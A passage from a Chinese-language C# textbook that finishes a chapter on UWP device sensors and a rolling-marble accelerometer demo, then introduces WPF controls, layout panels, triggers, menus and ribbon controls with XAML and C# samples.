_gyrometerInfo; } set { SetProperty(ref _gyrometerInfo, value); } } // etc. } 33.9.6 方向 OrientationSensor是最复杂的,它从加速计、陀螺仪和磁力计中获取值。所有这些值 放在一个四元数中,用Quaternion属性表示,或用旋转矩阵表示(RotationMatrix属性)。 试一试示例应用程序,看看这些值以及如何移动设备(代码文件 SensorSampleApp/ViewModels/OrientationViewModel.cs): public static class OrientationSensorExtensions { public static string Output(this SensorQuaternion q) => $"x {q.X} y {q.Y} z {q.Z} w {q.W}"; public static string Ouput(this SensorRotationMatrix m) => $"m11 {m.M11} m12 {m.M12} m13 {m.M13} " + $"m21 {m.M21} m22 {m.M22} m23 {m.M23} " + $"m31 {m.M31} m32 {m.M32} m33 {m.M33}"; } public class OrientationViewModel: BindableBase { public void OnGetOrientation() { OrientationSensor sensor = OrientationSensor.GetDefault(); if (sensor ! = null) { OrientationSensorReading reading = sensor.GetCurrentReading(); OrientationInfo = $"Quaternion: {reading.Quaternion.Output()} " + $"Rotation: {reading.RotationMatrix.Ouput()} " + $"Yaw accuracy: {reading.YawAccuracy}"; } else { OrientationInfo = "Compass not found"; } } private string _orientationInfo; public string OrientationInfo { get { return _orientationInfo; } set { SetProperty(ref _orientationInfo, value); } } // etc. } 运行这个应用程序,可以看到如图33-16所示的传感器数据。 图33-16 33.9.7 Rolling Marble示例 为了查看传感器的值,而不仅仅是查看在TextBlock元素中显示的结果值,使用 Accelerometer建立一个简单的示例应用程序,它在屏幕上滚动一个钢珠。 钢珠用一个红色的椭圆表示。将一个Ellipse元素定位在Canvas元素内部,就可以用一 个附加的属性移动Ellipse(代码文件RollingMarble/MainPage.xaml): <Canvas Background="{ThemeResource ApplicationPageBackgroundThemeBrush}"> <Ellipse Fill="Red" Width="100" Height="100" Canvas.Left="550" Canvas.Top="400" x:Name="ell1" /> </Canvas>  注意: 附加的属性参见第29章,Canvas元素参见第34章。 MainPage的构造函数初始化Accelerometer,请求最小时间间隔的连续读数。为了确定 窗口的边界,在页面的LayoutUpdated事件中,把MaxX和MaxY设置为窗口的宽度和高度 (减去椭圆的尺寸)(代码文件RollingMarble/MainPage.xaml.cs): public sealed partial class MainPage: Page { private Accelerometer _accelerometer; private double MinX = 0; private double MinY = 0; private double MaxX = 1000; private double MaxY = 600; private double currentX = 0; private double currentY = 0; public MainPage() { this.InitializeComponent(); accelerometer = Accelerometer.GetDefault(); accelerometer.ReportInterval = accelerometer.MinimumReportInterval; accelerometer.ReadingChanged += OnAccelerometerReading; this.DataContext = this; this.LayoutUpdated += (sender, e) => { MaxX = this.ActualWidth-100; MaxY = this.ActualHeight-100; }; } 从加速计中获得了每个值后,OnAccelerometerReading事件处理程序方法使椭圆在 Canvas元素内部移动。在设置值之前,根据窗口的边界检查它: private async void OnAccelerometerReading(Accelerometer sender, AccelerometerReadingChangedEventArgs args) { currentX += args.Reading.AccelerationX * 80; if (currentX < MinX) currentX = MinX; if (currentX > MaxX) currentX = MaxX; currentY += -args.Reading.AccelerationY * 80; if (currentY < MinY) currentY = MinY; if (currentY > MaxY) currentY = MaxY; await this.Dispatcher.RunAsync(CoreDispatcherPriority.High, () => { Canvas.SetLeft(ell1, currentX); Canvas.SetTop(ell1, currentY); }); } 现在运行应用程序,移动设备,获得钢珠滚动的效果,如图33-17所示。 图33-17 33.10 小结 本章介绍了编写UWP Windows应用程序的更多内容,讨论了生命周期与Windows桌 面应用程序的区别,以及如何响应Suspending事件。 与其他应用程序的交互是使用共享协定实现的。DataTransferManager用于给其他应用 程序提供HTML数据。实现“共享目标”协定,就可以接收其他应用程序的数据。 本章的另一个主要部分是几个设备,讨论了拍照和录制视频的相机、获取用户位置的 GeoLocator,以及使用不同的传感器获取设备的移动方式。 下一章继续介绍XAML技术,讨论如何使用WPF编写Windows桌面应用程序。 第34章 带WPF的Windows桌面应用程序 本章要点 ● WPF控件 ● 布局 ● 触发器 ● 菜单和功能区控件 ● 使用Commanding进行输入处理 ● 绑定到元素、对象、列表和XML的数据 ● 值的转换和验证 ● 使用TreeView显示层次数据 ● 使用DataGrid显示和组合数据 ● 使用CollectionView Source实时成型 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● Controls Sample ● Layout Sample ● Trigger Sample ● Books ● Multi Binding Sample ● Priority Binding Sample ● XML Binding Sample ● Validation Sample ● Formula-1 ● Live Shaping 34.1 概述 第29章和第30章介绍了XAML的一些核心功能,本章继续在WPF中使用XAML,介绍 控件层次结构的一些重要方面,创建完整的应用程序,使用数据绑定和命令处理,以及 DataGrid控件。数据绑定是把.NET类中的数据提供给用户界面的一个重要概念,还允许用 户修改数据。WPF不仅允许绑定到简单的项或列表,还可以利用本章介绍的多绑定和优 先绑定功能,把一个UI属性绑定到类型可能不同的多个属性上。在数据绑定的过程中, 验证用户输入的数据也很重要。本章将学习数据验证的不同方式,包括.NET 4.5新增的 INotifyDataErrorInfo接口。Commanding可以把UI的事件映射到代码上。与事件模型相 反,它更好地分隔开了XAML和代码,我们还将学习使用预定义的命令和创建定制的命 令。 TreeView和DataGrid控件是显示绑定数据的UI控件。TreeView控件可以在树型结构中 显示数据,其中数据根据用户的选择动态加载。通过DataGrid控件学习如何使用过滤、排 序和分组,以及.NET 4.5的一个新增功能——实时成型,它可以实时改变排序或过滤选 项。 首先介绍菜单和功能区控件。功能区控件是.NET 4.5中新增的。 34.2 控件 可以对WPF使用上百个控件。下面把控件分为几组,在各小节中分别介绍。 34.2.1 简单控件 简单控件是没有Content属性的控件。例如,Button类可以包含任意形状或任意元素, 这对于简单控件没有问题。表34-1列出了简单控件及其功能。 表34-1 简单控件 说明 TextBox TextBox控件用于显示简单的无格式文本 RichTextBox RichTextBox控件通过FlowDocument类支持带格式的文本。 RichTextBox和TextBox派生自同一个基类TextBoxBase Calendar Calendar控件可以显示年份、月份或10年。用户可以选择一 个日期或日期范围 DatePicker DatePicker控件会打开Calendar屏幕,供用户选择日期 PasswordBox PasswordBox控件用于输入密码。这个控件有用于输入密码 的专用属性,例如,PasswordChar属性定义了在用户输入密 码时显示的字符,Password属性可以访问输入的密码。 PasswordChanged事件在修改密码时立即调用 ScrollBar ScrollBar控件包含一个Thumb,用户可以从Thumb中选择一 个值。例如,如果文档在屏幕中放不下,就可以使用滚动 条。一些控件包含滚动条,如果内容过多,就显示滚动条 ProgressBar 使用ProgressBar控件,可以指示时间较长的操作的进度 Slider 使用Slider控件,用户可以移动Thumb,选择一个范围的 值。ScrollBar、ProgressBar和Slider派生自同一个基类 RangeBase  注意: 尽管简单控件没有Content属性,但通过定义模板,完全可以定制这些 控件的外观。模板详见本章后面的内容。 34.2.2 内容控件 ContentControl有Content属性,利用Content属性,可以给控件添加任意内容。因为 Button类派生自基类ContentControl,所以可以在这个控件中添加任意内容。在上面的例子 中,在Button类中有一个Canvas控件。表34-2列出了内容控件。 表34-2 ContentControl控件 说明 Button RepeatButton ToggleButton CheckBox RadioButton Button、RepeatButton、ToggleButton和 GridViewColumnHeader类派生自同一个基类ButtonBase。所 有这些按钮都响应Click事件。RepeatButton类会重复引发 Click事件,直到释放按钮为止。ToggleButton是CheckBox和 RadioButton的基类。这些按钮有开关状态。CheckBox可以 由用户选择和取消选择,RadioButton可以由用户选择。清 除RadioButton的选择必须通过编程方式实现 Label Label类表示控件的文本标签。这个类也支持访问键,如菜 单命令 Frame Frame控件支持导航。使用Navigate()方法可以导航到一 个页面内容上。如果该内容是一个网页,就使用 WebBrowser控件来显示 ListBoxItem ListBoxItem是ListBox控件中的一项 StatusBarItem StatusBarItem是StatusBar控件中的一项 ScrollViewer ScrollViewer控件是一个包含滚动条的内容控件,可以把任 意内容放入这个控件中,滚动条会在需要时显示 ToolTip ToolTip创建一个弹出窗口,以显示控件的附加信息 UserControl 将UserControl类用作基类,可以为创建自定义控件提供一种 简单方式。但是,基类UserControl不支持模板 Window Window类可以创建窗口和对话框。使用这个类,会获得一 个带有最小化/最大化/关闭按钮和系统菜单的框架。在显示 对话框时,可以使用ShowDialog()方法,Show()方法 会打开一个窗口 NavigationWindow 类NavigationWindow派生自Window类,支持内容导航 只有一个Frame控件包含在下面XAML代码的Window中。因为Source属性设置为 http://www.cninnovation.com,所以Frame控件导航到这个网站上,如图34-1所示(代码文 件ControlsSample/FramesWindow.xaml)。 <Window x:Class="ControlsSamples.FramesWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Frames Sample" Height="500" Width="800"> <Frame Source="http://www.cninnovation.com" Grid.Row="1" /> </Window> 图34-1  注意: 第32章介绍了如何使用Frame类在页面之间导航。在WPF中,也可以 使用Frame类进行导航。 34.2.3 带标题的内容控件 带标题的内容控件派生自HeaderContentControl基类。HeaderContentControl类又派生 自基类ContentControl。HeaderContentControl类的Header属性定义了标题的内容, HeaderTemplate属性可以对标题进行完全的定制。派生自基类HeaderContentControl的控件 如表34-3所示。 表34-3 HeaderContentControl 说明 Expander 使用Expander控件,可以创建一个带对话框的“高 级”模式,它在默认情况下不显示所有的信息,只 有用户展开它,才会显示更多的信息。在未展开模 式下,只显示标题信息;在展开模式下,显示内容 GroupBox GroupBox控件提供了边框和标题来组合控件 TabItem TabItem控件是TabControl类中的项。TabItem的 Header属性定义了标题的内容,这些内容用 TabControl的标签显示 Expander控件的简单用法如下面的例子所示。把Expander控件的Header属性设置为 Click for more。这个文本用于显示扩展。这个控件的内容只有在控件展开时才显示。图 34-2中的应用程序包含折叠的Expander控件,图34-3中的同一个应用程序包含展开的 Expander控件。代码如下(代码文件ControlsSample/ExpanderWindow.xaml): 图34-2 图34-3 <Window x:Class="ControlsSample.ExpanderWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Expander Sample" Height="300" Width="300"> <StackPanel> <TextBlock>Short information</TextBlock> <Expander Header="Additional Information"> <Border Height="200" Width="200" Background="Yellow"> <TextBlock HorizontalAlignment="Center" VerticalAlignment="Center"> More information here! </TextBlock> </Border> </Expander> </StackPanel> </Window>  注意: 在展开Expander控件时,如果要修改该控件的标题文本,就可以创建 一个触发器。触发器详见本章后面的内容。 34.2.4 项控件 ItemsControl类包含一个可以用Items属性访问的数据项列表。派生自ItemsControl的类 如表34-4所示。 表34-4 ItemsControl 说明 Menu ContextMenu Menu类和ContextMenu类派生自抽象基类MenuBase。把 MenuItem元素放在数据项列表和相关联的命令中,就可以 给用户提供菜单 StatusBar StatusBar控件通常显示在应用程序的底部,为用户提供状态 信息。可以把StatusBarItem元素放在StatusBar列表中 TreeView 要分层显示数据项,可以使用TreeView控件 ListBox ComboBox TabControl ListBox、ComboBox和TabControl都有相同的抽象基类 Selector。这个基类可以从列表中选择数据项。ListBox显示 列表中的数据项,ComboBox有一个附带的Button控件,只 有单击该按钮,才会显示数据项。在TabControl中,内容可 以排列为表格形式 DataGrid DataGrid控件是显示数据的可定制网格,这个控件详见下一 章 34.2.5 带标题的项控件 HeaderedItemsControl是不仅包含数据项而且包含标题的控件的基类。 HeaderedItemsControl类派生自ItemsControl。 派生自HeaderedItemsControl的类如表34-5所示。 表34-5 HeaderedItemsControl 说明 MenuItem 菜单类Menu和ContextMenu包含MenuItem类型的数据项。菜 单项可以连接到命令上,因为MenuItem类实现了 ICommandSource接口 TreeViewItem TreeViewItem类可以包含TreeViewItem类型的数据项 ToolBar ToolBar控件是一组控件(通常是Button和Separator元素)的 容器。可以将ToolBar放在ToolBarTray中,它会重新排列 ToolBar控件 34.2.6 修饰 给单个元素添加修饰可以使用Decorator类完成。Decorator是一个基类,派生自它的类 有Border、Viewbox和BulletDecorator。主题元素如ButtonChrome和ListBoxChrome也是修 饰器。 下面的例子说明了Border、Viewbox和BulletDecorator类,如图34-4所示。Border类给 子元素四周添加边框,以修饰子元素。可以给子元素定义画笔和边框的宽度、背景、圆角 半径和填充图案(代码文件ControlsSample/DecorationsWindow.xaml): <Border BorderBrush="Violet" BorderThickness="5.5"> <Label>Label with a border</Label> </Border> 图34-4 Viewbox将其子元素拉伸并缩放到可用的空间中。StretchDirection和Stretch属性专用 于Viewbox的功能,它们允许设置子元素是否双向拉伸,以及是否保持宽高比: <Viewbox StretchDirection="Both" Stretch="Uniform"> <Label>Label with a viewbox</Label> </Viewbox> BulletDecorator类用一个项目符号修饰其子元素。子元素可以是任意元素(在本例中 是一个文本块)。同样,项目符号也可以是任意元素,本例使用一个Image元素,也可以 使用任意UIElement: <BulletDecorator> <BulletDecorator.Bullet> <Image Width="25" Height="25" Margin="5" HorizontalAlignment="Center" VerticalAlignment="Center" Source="/DecorationsDemo; component/images/apple1.jpg" /> </BulletDecorator.Bullet> <BulletDecorator.Child> <TextBlock VerticalAlignment="Center" Padding="8">Granny Smith</TextBlock > </BulletDecorator.Child> </BulletDecorator> 34.3 布局 为了定义应用程序的布局,可以使用派生自Panel基类的类。布局容器要完成两个主 要任务:测量和排列。在测量时,容器要求其子控件有合适的大小。因为控件的整体大小 不一定合适,所以容器需要确定和排列其子控件的大小和位置。这里讨论几个布局容器。 34.3.1 StackPanel Window可以只包含一个元素,作为其内容。如果要在其中包含多个元素,就可以将 StackPanel用作Window的一个子元素,并在StackPanel的内容中添加元素。StackPanel是一 个简单的容器控件,只能逐个地显示元素。StackPanel的方向可以是水平或垂直。 ToolBarPanel类派生自StackPanel(代码文件LayoutDemo/StackPanelWindow.xaml)。 <Window x:Class="LayoutSamples.StackPanelWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Stack Panel" Height="300" Width="300"> <StackPanel Orientation="Vertical"> <Label>Label</Label> <TextBox>TextBox</TextBox> <CheckBox>CheckBox</CheckBox> <CheckBox>CheckBox</CheckBox> <ListBox> <ListBoxItem>ListBoxItem One</ListBoxItem> <ListBoxItem>ListBoxItem Two</ListBoxItem> </ListBox> <Button>Button</Button> </StackPanel> </Window> 在图34-5中,可以看到StackPanel垂直显示的子控件。 图34-5 34.3.2 WrapPanel WrapPanel将子元素自左向右逐个排列,若一个水平行中放不下,就排在下一行。面 板的方向可以是水平或垂直(代码文件LayoutSamples/WrapPanelWindow.xaml)。 <Window x:Class="LayoutSamples.WrapPanelWindow" xmlns="http://schemas.microsoft.com/winfx/2006/ xaml/presentation" xmlns:x="http://schemas.microsoft.com/ winfx/2006/xaml" Title="WrapPanelWindow" Height="300" Width="300"> <WrapPanel> <WrapPanel.Resources> <Style TargetType="Button"> <Setter Property="Width" Value="100" /> <Setter Property="Margin" Value="5" /> </Style> </WrapPanel.Resources> <Button>Button</Button> <Button>Button</Button> <Button>Button</Button> <Button>Button</Button> <Button>Button</Button> <Button>Button</Button> <Button>Button</Button> <Button>Button</Button> </WrapPanel> </Window> 图34-6显示了面板的排列结果。如果重新设置应用程序的大小,按钮就会重新排列, 以便填满一行。 图34-6 34.3.3 Canvas Canvas是一个允许显式指定控件位置的面板。它定义了相关的Left、Right、Top和 Bottom属性,这些属性可以由子元素在面板中定位时使用(代码文件 LayoutSamples/CanvasWindow.xaml)。 <Canvas Background="LightBlue"> <Label Canvas.Top="30" Canvas.Left="20">Enter here:</Label> <TextBox Canvas.Top="30" Canvas.Left="120" Width="100" /> <Button Canvas.Top="70" Canvas.Left="130" Content="Click Me! " Padding="5" /> </Canvas> 图34-7显示了Canvas面板的结果,其中定位了子元素Label、TextBox和Button。 图34-7  注意: Canvas控件最适合用于图形元素的布局,例如第30章介绍的Shape控 件。 34.3.4 DockPanel DockPanel非常类似于Windows Forms的停靠功能。DockPanel可以指定排列子控件的 区域。DockPanel定义了Dock附加属性,可以在控件的子控件中将它设置为Left、Right、 Top和Bottom。图34-8显示了排列在DockPanel中的带边框的文本块。为了便于区别,为不 同的区域指定了不同的颜色(代码文件LayoutSamples/DockPanelWindow.xaml): <DockPanel> <Border Height="25" Background="AliceBlue" DockPanel.Dock="Top"> <TextBlock>Menu</TextBlock> </Border> <Border Height="25" Background="Aqua" DockPanel.Dock="Top"> <TextBlock>Ribbon</TextBlock> </Border> <Border Height="30" Background="LightSteelBlue" DockPanel.Dock="Bottom"> <TextBlock>Status</TextBlock> </Border> <Border Height="80" Background="Azure" DockPanel.Dock="Left"> <TextBlock>Left Side</TextBlock> </Border> <Border Background="HotPink"> <TextBlock>Remaining Part</TextBlock> </Border> </DockPanel> 图34-8 34.3.5 Grid 使用Grid,可以在行和列中排列控件。对于每一列,可以指定一个 ColumnDefinition;对于每一行,可以指定一个RowDefinition。下面的示例代码显示两列 和三行。在每一列和每一行中,都可以指定宽度或高度。ColumnDefinition有一个Width依 赖属性,RowDefinition有一个Height依赖属性。可以以像素、厘米、英寸或点为单位定义 高度和宽度,或者把它们设置为Auto,根据内容来确定其大小。Grid还允许根据具体情况 指定大小,即根据可用的空间以及与其他行和列的相对位置,计算行和列的空间。在为列 提供可用空间时,可以将Width属性设置为“*”。要使某一列的空间是另一列的两倍,应指 定“2*”。下面的示例代码定义了两列和三行,但没有定义列定义和行定义的其他设置,默 认使用根据具体情况指定大小的设置。 这个Grid包含几个Label和TextBox控件。因为这些控件的父控件是Grid,所以可以设 置附加属性Column、ColumnSpan、Row和RowSpan(代码文件 LayoutSamples/GridWindow.xaml)。 <Grid ShowGridLines="True"> <Grid.ColumnDefinitions> <ColumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> <Label Grid.Column="0" Grid.ColumnSpan="2" Grid.Row="0" VerticalAlignment="Center" HorizontalAlignment="Center" Content="Title" /> <Label Grid.Column="0" Grid.Row="1" VerticalAlignment="Center" Content="Firstname:" Margin="10" /> <TextBox Grid.Column="1" Grid.Row="1" Width="100" Height="30" /> <Label Grid.Column="0" Grid.Row="2" VerticalAlignment="Center" Content="Lastname:" Margin="10" /> <TextBox Grid.Column="1" Grid.Row="2" Width="100" Height="30" /> </Grid> 在Grid中排列控件的结果如图34-9所示。为了便于看到列和行,把ShowGridLines属性 设置为true。 图34-9  注意: 要使Grid的每个单元格有相同的尺寸,可以使用UniformGrid类。 34.4 触发器 第30章提到,使用可视化状态管理器,可以动态改变控件的外观。WPF和UWP支持 可视化状态管理器。对于相同的场景,WPF还提供了属性触发器,还有其他触发器类型 用于不同的场景。本节讨论属性触发器、多触发器和数据触发器。 使用触发器,可以动态地更改控件的外观,因为一些事件或属性值改变了。例如,用 户把鼠标移动到按钮上,按钮就会改变其外观。通常,这必须在C#代码中实现。使用 WPF,也可以用XAML实现,而这只会影响UI。 属性触发器在属性值改变时激活。多触发器基于多个属性值。事件触发器在事件发生 时激活。数据触发器在绑定的数据改变时激活。 34.4.1 属性触发器 Style类有一个Triggers属性,通过它可以指定属性触发器。下面的示例将一个Button 元素放在一个Grid面板中。利用Window资源定义Button元素的默认样式。这个样式指定, 将Background属性设置为LightBlue,将FontSize属性设置为17。这是应用程序启动时 Button元素的样式。使用触发器可以改变控件的样式。触发器在Style.Triggers元素中用 Trigger元素定义。将一个触发器赋予IsMouseOver属性,另一个触发器赋予IsPressed属 性。这两个属性通过应用了样式的Button类定义。如果IsMouseOver属性的值是true,就会 激活触发器,将Foreground属性设置为Red,将FontSize属性设置为22。如果按下该按钮, IsPressed属性就是true,激活第二个触发器,并将TextBox的Foreground属性设置为 Yellow(代码文件TriggerSamples/PropertyTriggerWindow.xaml)。  注意: 如果把IsPressed属性设置为true,则IsMouseOver属性也是true。按下 该按钮也需要把鼠标放在按钮上。按下该按钮会激活IsMouseOver属性触发器,并改变 属性。这里触发器的激活顺序很重要。如果IsPressed属性触发器在IsMouseOver属性触 发器之前激活,IsMouseOver属性触发器就会覆盖IsPressed属性触发器设置的值。 <Window x:Class="TriggerSamples.PropertyTriggerWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Property Trigger" Height="300" Width="300"> <Window.Resources> <Style TargetType="Button"> <Setter Property="Background" Value="LightBlue" /> <Setter Property="FontSize" Value="17" /> <Style.Triggers> <Trigger Property="IsMouseOver" Value="True"> <Setter Property="Foreground" Value="Red" /> <Setter Property="FontSize" Value="22" /> </Trigger> <Trigger Property="IsPressed" Value="True"> <Setter Property="Foreground" Value="Yellow" /> <Setter Property="FontSize" Value="22" /> </Trigger> </Style.Triggers> </Style> </Window.Resources> <Grid> <Button Width="200" Height="30" Content="Click me! " /> </Grid> </Window> 当激活触发器的原因不再有效时,就不必将属性值重置为原始值。例如,不必定义 IsMouseOver=true和IsMouseOver=false的触发器。只要激活触发器的原因不再有效,触发 器操作进行的修改就会自动重置为原始值。 图34-10显示了触发器示例应用程序,其中,鼠标指向按钮时,按钮的前景和字体大 小就会不同于其原始值。 图34-10  注意: 使用属性触发器,很容易改变控件的外观、字体、颜色、不透明度 等。在鼠标滑过控件时,键盘设置焦点时——都不需要编写任何代码。 Trigger类定义了表34-6中的属性,以指定触发器操作。 表34-6 Trigger属性 说明 PropertyValue 使用属性触发器,Property和Value属性用于指定触发器的激 活时间,例如,Property = "IsMouseOver", Value = "True" Setters 一旦激活触发器,就可以使用Setters定义一个Setter元素集 合,来改变属性值。Setter类定义Property、TargetName和 Value属性,以修改对象属性 EnterActions, ExitActions 除了定义Setters之外,还可以定义EnterActions和 ExitActions。使用这两个属性,可以定义一个TriggerAction 元素集合。EnterActions在启动触发器时激活(此时通过属 性触发器应用Property/Value组合)。ExitActions在触发器结 束之前激活(此时不再应用Property/Value组合)。用这些 操作指定的触发器操作派生自基类TriggerAction,如 SoundPlayerAction和BeginStoryboard。使用 SoundPlayerAction基类可以开始播放声音。BeginStoryboard 基类用于动画,详见本章后面的内容 34.4.2 多触发器 当属性的值变化时,就会激活属性触发器,如果因为两个或多个属性有特定的值,而 需要设置触发器,就可以使用MultiTrigger。 MultiTrigger有一个Conditions属性,可以在其中设置属性的有效值。它还有一个 Setters属性,可以在其中指定需要设置的属性。在下面的示例中,给TextBox元素定义了 一个样式,如果IsEnabled属性是True, Text属性的值是Test,就应用触发器。如果应用这两 个触发器,就把TextBox的Foreground属性设置为Red(代码文件 TriggerSamples/MultiTriggerWindow.xaml): <Window x:Class="TriggerSamples.MultiTriggerWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Multi Trigger" Height="300" Width="300"> <Window.Resources> <Style TargetType="TextBox"> <Style.Triggers> <MultiTrigger> <MultiTrigger.Conditions> <Condition Property="IsEnabled" Value="True" /> <Condition Property="Text" Value="Test" /> </MultiTrigger.Conditions> <MultiTrigger.Setters> <Setter Property="Foreground" Value="Red" /> </MultiTrigger.Setters> </MultiTrigger> </Style.Triggers> </Style> </Window.Resources> <Grid> <TextBox /> </Grid> </Window> 34.4.3 数据触发器 如果绑定到控件上的数据满足指定的条件,就激活数据触发器。下面的例子使用 Book类,它根据图书的出版社显示不同的内容。 Book类定义Title和Publisher属性,还重载ToString()方法(代码文件 TriggerSamples/Book.cs): public class Book { public string Title { get; set; } public string Publisher { get; set; } public override string ToString() => Title; } 在XAML代码中,给ListBoxItem元素指定了一个样式。该样式包含DataTrigger元素, 它绑定到用于列表项的类的Publisher属性上。如果Publisher属性的值是Wrox Press, Background就设置为Red。对于Dummies和Wiley出版社,把Background分别设置为Yellow 和DarkGray(代码文件TriggerSamples/DataTriggerWindow.xaml): <Window x:Class="TriggerSamples.DataTriggerWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Data Trigger" Height="300" Width="300"> <Window.Resources> <Style TargetType="ListBoxItem"> <Style.Triggers> <DataTrigger Binding="{Binding Publisher}" Value="Wrox Press"> <Setter Property="Background" Value="Red" /> </DataTrigger> <DataTrigger Binding="{Binding Publisher}" Value="Dummies"> <Setter Property="Background" Value="Yellow" /> </DataTrigger> <DataTrigger Binding="{Binding Publisher}" Value="Wiley"> <Setter Property="Background" Value="DarkGray" /> </DataTrigger> </Style.Triggers> </Style> </Window.Resources> <Grid> <ListBox x:Name="list1" /> </Grid> </Window> 在代码隐藏文件中,把列表list1初始化为包含几个Book对象(代码文件 TriggerSamples/DataTriggerWindow.xaml.cs): public DataTriggerWindow() { InitializeComponent(); list1.Items.Add(new Book { Title = "Professional C# 6 and .NET Core 1.0", Publisher = "Wrox Press" }); list1.Items.Add(new Book { Title = "C# 5 All-in-One for Dummies", Publisher = "For Dummies" }); list1.Items.Add(new Book { Title = "HTML and CSS: Design and Build Websites", Publisher = "Wiley" }); } 运行应用程序,ListBoxItem元素就会根据Publisher的值进行格式化,如图34-11所 示。 图34-11 使用DataTrigger时,必须给MultiDataTrigger设置多个属性(类似于Trigger和 MultiTrigger)。  注意: 数据触发器在数据绑定更改时,更新用户界面(实现 INotifyPropertyChanged接口)。后面的“实时成型”一节包括一个示例。 34.5 菜单和功能区控件 许多数据驱动的应用程序都包含菜单和工具栏或功能区控件,允许用户控制操作。在 WPF 4.5中,也可以使用功能区控件,所以这里介绍菜单和功能区控件。 本节会创建两个新的WPF应用程序BooksDemoMenu和BooksDemoRibbon,以及一个 库BooksDemoLib,本章将一直使用它——它不仅包含菜单和功能区控件,还包含 Commanding和数据绑定。这个应用程序会显示一本书、一个图书列表和一个图书网格。 操作由与命令关联的菜单或功能区控件来启动。 34.5.1 菜单控件 在WPF中,菜单很容易使用Menu和MenuItem元素创建,如下面的代码段所示,其中 包含两个主菜单File和Edit,以及一个子菜单项列表。字符前面的_标识了可不使用鼠标而 直接访问菜单项的特定字符。使用Alt键可以使这些字符可见,并使用该字符访问菜单。 其中一些菜单项指定了一个命令,如下一节所示(代码文件 BooksDemoMenu/MainWindow.xaml): <Window x:Class="Wrox.ProCSharp.WPF.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:BooksDemo" Title="Books Demo App" Height="400" Width="600"> <DockPanel> <Menu DockPanel.Dock="Top"> <MenuItem Header="_File"> <MenuItem Header="Show _Book" /> <MenuItem Header="Show Book_s" /> <Separator /> <MenuItem Header="E_xit" /> </MenuItem> <MenuItem Header="_Edit"> <MenuItem Header="Undo" Command="Undo" /> <Separator /> <MenuItem Header="Cut" Command="Cut" /> <MenuItem Header="Copy" Command="Copy" /> <MenuItem Header="Paste" Command="Paste" /> </MenuItem> </Menu> </DockPanel> </Window> 运行应用程序,得到的菜单如图34-12所示。菜单目前还不能用,因为命令还没有激 活。 图34-12 34.5.2 功能区控件 菜单控件的替代品是功能区控件。Microsoft Office 2007是Microsoft引入新开发的功能 区控件后发布的第一个应用程序。引入这个新功能之后不久,Office以前版本的许多用户 抱怨在新的UI中找不到需要的操作按钮了。新Office用户没有使用过以前的用户界面,却 在新的UI中得到了很好的体验,很容易找到以前版本的用户难以找到的操作按钮。 当然,目前功能区控件在许多应用程序中都很常见。在Windows 8中,功能区在随操 作系统发布的工具中,例如Windows资源管理器、画图和写字板。 WPF功能区控件在System.Windows.Controls.Ribbon名称空间中,需要引用程序集 system. Windows.Controls.Ribbon。 图34-13显示了示例应用程序的功能区控件。在顶行上,标题左边是快速访问工具 栏,第二行中最左边的项是应用程序菜单,其后是两个功能区标签Home和Ribbon Controls。选择了Home标签,会显示两个组Clipboard和Show。这两个组都包含一些按钮 控件。 图34-13 功能区控件在下面的代码段中定义。Ribbon元素的第一个子元素由 QuickAccessToolBar属性定义。这个工具栏包含两个引用了小图像的RibbonButton控件, 这些按钮允许用户直接、快速、方便地执行操作(代码文件 BooksDemoRibbon/MainWindow.xaml): <Ribbon DockPanel.Dock="Top"> <Ribbon.QuickAccessToolBar> <RibbonQuickAccessToolBar> <RibbonButton SmallImageSource="Assets/one.png" /> <RibbonButton SmallImageSource="Assets/list.png" /> </RibbonQuickAccessToolBar> </Ribbon.QuickAccessToolBar> <! -- etc. --> </Ribbon> 为了直接把快速访问工具栏中的这些按钮放在窗口的边框中,需要把基类改为 RibbonWindow,而不是Window类(代码文件BooksDemoRibbon/MainWindow.xaml.cs): public partial class MainWindow : RibbonWindow { 修改带后台代码的基类时,还需要修改XAML代码,以使用RibbonWindow元素: <RibbonWindow x:Class="Wrox.ProCSharp.WPF.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:Wrox.ProCSharp.WPF" Title="Books Demo App" Height="400" Width="600"> 应用程序菜单使用ApplicationMenu属性定义。应用程序菜单定义了两个菜单项—— 第一个显示一本书;第二个关闭应用程序: <Ribbon.ApplicationMenu> <RibbonApplicationMenu SmallImageSource="Assets/books.png" > <RibbonApplicationMenuItem Header="Show _Book" /> <RibbonSeparator /> <RibbonApplicationMenuItem Header="Exit" Command="Close" /> </RibbonApplicationMenu> </Ribbon.ApplicationMenu> 在应用程序菜单的后面,使用RibbonTab元素定义功能区控件的内容。该标签的标题 用Header属性定义。RibbonTab包含两个RibbonGroup元素,每个RibbonGroup元素都包含 RibbonButton元素。在按钮中,可以设置Label来显示文本,设置SmallImageSource或 LargeImageSource属性来显示图像: <RibbonTab Header="Home"> <RibbonGroup Header="Clipboard"> <RibbonButton Command="Paste" Label="Paste" LargeImageSource="Assets/paste.png" /> <RibbonButton Command="Cut" SmallImageSource="Assets/cut.png" /> <RibbonButton Command="Copy" SmallImageSource="Assets/copy.png" /> <RibbonButton Command="Undo" LargeImageSource="Assets/undo.png" /> </RibbonGroup> <RibbonGroup 